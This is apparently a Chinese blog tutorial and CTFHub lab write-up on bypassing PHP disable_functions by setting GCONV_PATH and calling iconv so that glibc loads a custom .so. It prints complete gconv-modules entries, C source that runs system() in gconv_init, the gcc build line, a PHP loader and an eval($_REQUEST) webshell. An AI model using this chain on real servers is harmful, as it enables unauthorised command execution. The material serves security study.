使用GCONV_PATH与iconv进行bypass disable_functions

你需要知道的前置知识

php在执行iconv函数时,实际上是调用glibc中的iconv相关函数,其中一个很重要的函数叫做iconv_open()。

php的iconv函数的第一个参数是字符集的名字,这个参数也会传递到glibc的iconv_open函数的参数中。

下面我们来看一下iconv_open函数的执行过程:

  1. iconv_open函数首先会找到系统提供的gconv-modules文件,这个文件中包含了各个字符集的相关信息存储的路径,每个字符集的相关信息存储在一个.so文件中,即gconv-modules文件提供了各个字符集的.so文件所在位置。
  2. 然后再根据gconv-modules文件的指示去链接参数对应的.so文件。
  3. 之后会调用.so文件中的gconv()与gonv_init()函数。
  4. 然后就是一些与本漏洞利用无关的步骤。

linux系统提供了一个环境变量:GCONV_PATH,该环境变量能够使glibc使用用户自定义的gconv-modules文件,因此,如果指定了GCONV_PATH的值,iconv_open函数的执行过程会如下:

  1. iconv_open函数依照GCONV_PATH找到gconv-modules文件。
  2. 根据gconv-modules文件的指示找到参数对应的.so文件。
  3. 调用.so文件中的gconv()和gonv_init()函数。
  4. 一些其他步骤。

bypass过程

我们的利用方式就是首先在某一文件夹(一般是/tmp)中上传gconv-modules文件,文件中指定我们自定义的字符集文件的.so,然后我们再在.so文件中的gonv_init()函数中书写命令执行函数,之后上传php的shell,内容是使用php设定GCONV_PATH指向我们的gconv-modules文件,然后使用iconv函数使我们的恶意代码执行。

当我们使用浏览器访问我们上传的shell之后,服务器会做如下步骤:

  1. 设定GCONV_PATH指向我们的gconv-modules文件。
  2. 执行php的iconv函数,本质上调用了glibc的iconv_open函数。
  3. iconv_open函数依照GCONV_PATH找到我们上传gconv-modules文件。
  4. 根据gconv-modules文件的指示找到参数对应的.so文件。
  5. 调用.so文件中的gconv()和gonv_init()函数,当然,其中是我们想要服务器执行的系统命令。

实际操作

首先上传gconv-modules文件于/tmp文件夹,其内容如下:

module  自定义字符集名字(大写)//    INTERNAL    ../../../../../../../../tmp/自定义字符集名字(小写)    2
module  INTERNAL    自定义字符集名字(大写)//    ../../../../../../../../tmp/自定义字符集名字(小写)    2

然后书写利用的.so文件内容:

#include 
#include 

void gconv() {
     }

void gconv_init() {
     
  system("希望执行的命令");
}

然后执行shell命令:

gcc 源代码文件名.c -o 自定义字符集名.so -shared -fPIC

上传该文件到/tmp。

书写shell.php:


    putenv("GCONV_PATH=/tmp/");
    iconv("自定义字符集名", "UTF-8", "whatever");
?>

上传到web目录下然后浏览器访问执行即可。

靶场实战

靶场使用的是ctfhub的靶场。

目标是执行/readflag命令获取flag值。

进入网站,网页显示当前脚本的源代码:


@eval($_REQUEST['ant']);
show_source(__FILE__);
?>

使用蚁剑连接,发现无法进行命令执行,需要bypass disable_function。

书写gconv-modules文件,内容如下:

module  HACK//    INTERNAL    ../../../../../../../../tmp/hack    2
module  INTERNAL    HACK//    ../../../../../../../../tmp/hack    2

上传该文件至/tmp文件夹下。

再书写hack.c文件,内容如下:

#include 
#include 

void gconv() {
     }

void gconv_init() {
     
  system("/readflag > /tmp/flag");
}

执行shell命令:

gcc hack.c -o hack.so -shared -fPIC

将生成的.so文件上传到/tmp。

书写shell.php内容如下:


    putenv("GCONV_PATH=/tmp/");
    iconv("hack", "UTF-8", "whatever");
?>

上传到/var/www/html文件夹下。

使用浏览器访问。

此时/tmp/flag中已经存储了flag值。

你可能感兴趣的:(安全,linux,php,网络安全)